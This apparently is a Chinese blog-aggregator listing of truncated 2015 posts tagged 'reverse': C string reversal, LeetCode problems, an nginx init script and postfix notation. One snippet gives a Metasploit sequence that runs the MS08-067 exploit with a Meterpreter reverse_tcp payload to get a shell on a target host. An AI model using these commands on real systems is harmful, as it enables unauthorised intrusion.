#include
char *reverse_string(char *string)
{
char *ret = string; //保存数组的首地址
char *left = string;//指向数组的第一个字符
char *right; //指向数组的最后一个非'\0'字符
char temp; //临时变量,用于交换
while(*string...
分类:
其他好文 时间:
2015-04-14 00:48:30
阅读次数:
142
You are given two linked lists representing two non-negative numbers. The digits are stored in reverse order and each of their nodes contain a single ...
分类:
其他好文 时间:
2015-04-13 22:27:22
阅读次数:
163
#!/bin/sh##nginx-thisscriptstartsandstopsthenginxdaemon##chkconfig:-8515#description:NginxisanHTTP(S)server,HTTP(S)reverse\#proxyandIMAP/POP3proxyserver#processname:nginx#config:/etc/nginx/nginx.conf#config:/etc/sysconfig/nginx#pidfile:/var/run/nginx/nginx...
分类:
其他好文 时间:
2015-04-13 21:10:04
阅读次数:
169
Given an input string, reverse the string word by word.
For example,
Given s = "the sky is blue",
return "blue is sky the".
Update (2015-02-12):
For C programmers: Try to solve it in-place in O(1...
分类:
其他好文 时间:
2015-04-13 11:01:46
阅读次数:
141
Reverse Rot
Time Limit: 1000MS Memory limit: 65536K
题目描述
A very simplistic scheme, which was used at one time to encode information, is to rotate the characters within an alphabet...
分类:
其他好文 时间:
2015-04-13 11:00:32
阅读次数:
171
msfconsolesearchms08_067_natapiuseexploit/windows/smb/ms08_067_netapisetPAYLOADwindows/meterpreter/reverse_tcpsetRHOST192.168.0.11(攻击的目的主机IP)setLHOST192.168.0.110(攻击的源的主机IP)setLPORT8080exploitpsshelldir
分类:
其他好文 时间:
2015-04-13 06:59:37
阅读次数:
145
众所周知啦,我们数学里面的公式就是中缀表达式(infix),形如a*(b+c),支持括号用于调整运算的顺序。我们平常用的就是中缀表达式。那么什么是后缀表达式(postfix)?后缀表达式(又称为逆波兰reverse polish)就是不需要括号就可以实现调整运算顺序的一种技法。比如:ab+cde+*...
分类:
其他好文 时间:
2015-04-13 01:38:57
阅读次数:
121
空间复杂度为O(1)的条件下,如何判断一个数是否回文。【方法1】最好的方法如下,可以避免溢出的风险public class Solution { public boolean isPalindrome(int x) { if (x reverse) { r...
分类:
其他好文 时间:
2015-04-13 01:31:59
阅读次数:
115
https://leetcode.com/problems/reverse-bits/
Reverse bits of a given 32 bits unsigned integer.
For example, given input 43261596 (represented in binary as 00000010100101000001111010011100), ret...
分类:
其他好文 时间:
2015-04-13 00:26:40
阅读次数:
143
Reverse digits of an integer.Example1:x = 123, return 321Example2:x = -123, return -321此题注意边界条件 -2^31 10 || (s.length() == 10 && s[0] > '2')) return ....
分类:
其他好文 时间:
2015-04-12 11:58:33
阅读次数:
154